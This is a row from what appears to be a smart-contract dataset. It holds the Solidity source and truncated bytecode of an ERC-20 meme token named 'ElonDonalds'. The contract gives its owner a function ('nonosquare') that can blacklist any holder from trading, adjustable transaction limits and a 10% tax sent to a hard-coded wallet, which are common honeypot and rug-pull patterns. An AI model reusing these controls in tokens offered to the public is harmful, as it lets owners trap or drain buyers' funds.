address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x03D53211363966D4712712E69F851170DAd55657
|
/**
*Submitted for verification at Etherscan.io on 2022-04-28
*/
/**
ElonDonalds
https://twitter.com/elonmusk/status/1519495982723084290
*/
pragma solidity 0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ElonDonalds is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "ElonDonalds";
string private constant _symbol = "ElonDonalds";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xb313dBBB816FBf28e1d535fA7B21EA348D03245e);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2000000 * 10**9;
_maxWalletSize = 5000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e3f565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612962565b6104b4565b60405161018e9190612e24565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612fe1565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e4919061299e565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612913565b610632565b60405161021f9190612e24565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612885565b61070b565b005b34801561025d57600080fd5b506102666107fb565b6040516102739190613056565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129df565b610804565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a31565b6108b6565b005b3480156102da57600080fd5b506102e361098f565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612885565b610a01565b6040516103199190612fe1565b60405180910390f35b34801561032e57600080fd5b50610337610a52565b005b34801561034557600080fd5b5061034e610ba5565b005b34801561035c57600080fd5b50610365610c5a565b6040516103729190612d56565b60405180910390f35b34801561038757600080fd5b50610390610c83565b60405161039d9190612e3f565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612962565b610cc0565b6040516103da9190612e24565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a31565b610cde565b005b34801561041857600080fd5b50610421610db7565b005b34801561042f57600080fd5b50610438610e31565b005b34801561044657600080fd5b50610461600480360381019061045c91906128d7565b611399565b60405161046e9190612fe1565b60405180910390f35b60606040518060400160405280600b81526020017f456c6f6e446f6e616c6473000000000000000000000000000000000000000000815250905090565b60006104c86104c1611420565b8484611428565b6001905092915050565b600067016345785d8a0000905090565b6104ea611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612f21565b60405180910390fd5b60005b815181101561062e576001600660008484815181106105c2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610626906132f7565b91505061057a565b5050565b600061063f8484846115f3565b6107008461064b611420565b6106fb8560405180606001604052806028815260200161371a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b1611420565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c869092919063ffffffff16565b611428565b600190509392505050565b610713611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079790612f21565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61080c611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089090612f21565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108be611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461094b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094290612f21565b60405180910390fd5b6000811161095857600080fd5b61098660646109788367016345785d8a0000611cea90919063ffffffff16565b611d6590919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d0611420565b73ffffffffffffffffffffffffffffffffffffffff16146109f057600080fd5b60004790506109fe81611daf565b50565b6000610a4b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e1b565b9050919050565b610a5a611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ade90612f21565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610bad611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3190612f21565b60405180910390fd5b67016345785d8a0000600f8190555067016345785d8a0000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f456c6f6e446f6e616c6473000000000000000000000000000000000000000000815250905090565b6000610cd4610ccd611420565b84846115f3565b6001905092915050565b610ce6611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6a90612f21565b60405180910390fd5b60008111610d8057600080fd5b610dae6064610da08367016345785d8a0000611cea90919063ffffffff16565b611d6590919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610df8611420565b73ffffffffffffffffffffffffffffffffffffffff1614610e1857600080fd5b6000610e2330610a01565b9050610e2e81611e89565b50565b610e39611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ec6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebd90612f21565b60405180910390fd5b600e60149054906101000a900460ff1615610f16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0d90612fc1565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fa530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000611428565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610feb57600080fd5b505afa158015610fff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102391906128ae565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561108557600080fd5b505afa158015611099573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110bd91906128ae565b6040518363ffffffff1660e01b81526004016110da929190612d71565b602060405180830381600087803b1580156110f457600080fd5b505af1158015611108573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112c91906128ae565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111b530610a01565b6000806111c0610c5a565b426040518863ffffffff1660e01b81526004016111e296959493929190612dc3565b6060604051808303818588803b1580156111fb57600080fd5b505af115801561120f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112349190612a5a565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555066071afd498d0000600f819055506611c37937e080006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611343929190612d9a565b602060405180830381600087803b15801561135d57600080fd5b505af1158015611371573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113959190612a08565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611498576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148f90612fa1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff90612ec1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115e69190612fe1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611663576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165a90612f61565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ca90612e61565b60405180910390fd5b60008111611716576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170d90612f41565b60405180910390fd5b6000600a81905550600a600b8190555061172e610c5a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561179c575061176c610c5a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c7657600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118455750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61184e57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118f95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561194f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119675750600e60179054906101000a900460ff165b15611aa557600f548111156119b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a890612e81565b60405180910390fd5b601054816119be84610a01565b6119c89190613117565b1115611a09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0090612f81565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a5457600080fd5b601e42611a619190613117565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b505750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ba65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bbc576000600a81905550600a600b819055505b6000611bc730610a01565b9050600e60159054906101000a900460ff16158015611c345750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c4c5750600e60169054906101000a900460ff165b15611c7457611c5a81611e89565b60004790506000811115611c7257611c7147611daf565b5b505b505b611c81838383612183565b505050565b6000838311158290611cce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc59190612e3f565b60405180910390fd5b5060008385611cdd91906131f8565b9050809150509392505050565b600080831415611cfd5760009050611d5f565b60008284611d0b919061319e565b9050828482611d1a919061316d565b14611d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5190612f01565b60405180910390fd5b809150505b92915050565b6000611da783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612193565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e17573d6000803e3d6000fd5b5050565b6000600854821115611e62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5990612ea1565b60405180910390fd5b6000611e6c6121f6565b9050611e818184611d6590919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ee7577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f155781602001602082028036833780820191505090505b5090503081600081518110611f53577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ff557600080fd5b505afa158015612009573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061202d91906128ae565b81600181518110612067577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120ce30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611428565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612132959493929190612ffc565b600060405180830381600087803b15801561214c57600080fd5b505af1158015612160573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61218e838383612221565b505050565b600080831182906121da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d19190612e3f565b60405180910390fd5b50600083856121e9919061316d565b9050809150509392505050565b60008060006122036123ec565b9150915061221a8183611d6590919063ffffffff16565b9250505090565b6000806000806000806122338761244b565b95509550955095509550955061229186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fd90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123728161255b565b61237c8483612618565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d99190612fe1565b60405180910390a3505050505050505050565b60008060006008549050600067016345785d8a0000905061242067016345785d8a0000600854611d6590919063ffffffff16565b82101561243e5760085467016345785d8a0000935093505050612447565b81819350935050505b9091565b60008060008060008060008060006124688a600a54600b54612652565b92509250925060006124786121f6565b9050600080600061248b8e8787876126e8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124f583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c86565b905092915050565b600080828461250c9190613117565b905083811015612551576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254890612ee1565b60405180910390fd5b8091505092915050565b60006125656121f6565b9050600061257c8284611cea90919063ffffffff16565b90506125d081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fd90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61262d826008546124b390919063ffffffff16565b600881905550612648816009546124fd90919063ffffffff16565b6009819055505050565b60008060008061267e6064612670888a611cea90919063ffffffff16565b611d6590919063ffffffff16565b905060006126a8606461269a888b611cea90919063ffffffff16565b611d6590919063ffffffff16565b905060006126d1826126c3858c6124b390919063ffffffff16565b6124b390919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127018589611cea90919063ffffffff16565b905060006127188689611cea90919063ffffffff16565b9050600061272f8789611cea90919063ffffffff16565b905060006127588261274a85876124b390919063ffffffff16565b6124b390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061278461277f84613096565b613071565b905080838252602082019050828560208602820111156127a357600080fd5b60005b858110156127d357816127b988826127dd565b8452602084019350602083019250506001810190506127a6565b5050509392505050565b6000813590506127ec816136d4565b92915050565b600081519050612801816136d4565b92915050565b600082601f83011261281857600080fd5b8135612828848260208601612771565b91505092915050565b600081359050612840816136eb565b92915050565b600081519050612855816136eb565b92915050565b60008135905061286a81613702565b92915050565b60008151905061287f81613702565b92915050565b60006020828403121561289757600080fd5b60006128a5848285016127dd565b91505092915050565b6000602082840312156128c057600080fd5b60006128ce848285016127f2565b91505092915050565b600080604083850312156128ea57600080fd5b60006128f8858286016127dd565b9250506020612909858286016127dd565b9150509250929050565b60008060006060848603121561292857600080fd5b6000612936868287016127dd565b9350506020612947868287016127dd565b92505060406129588682870161285b565b91505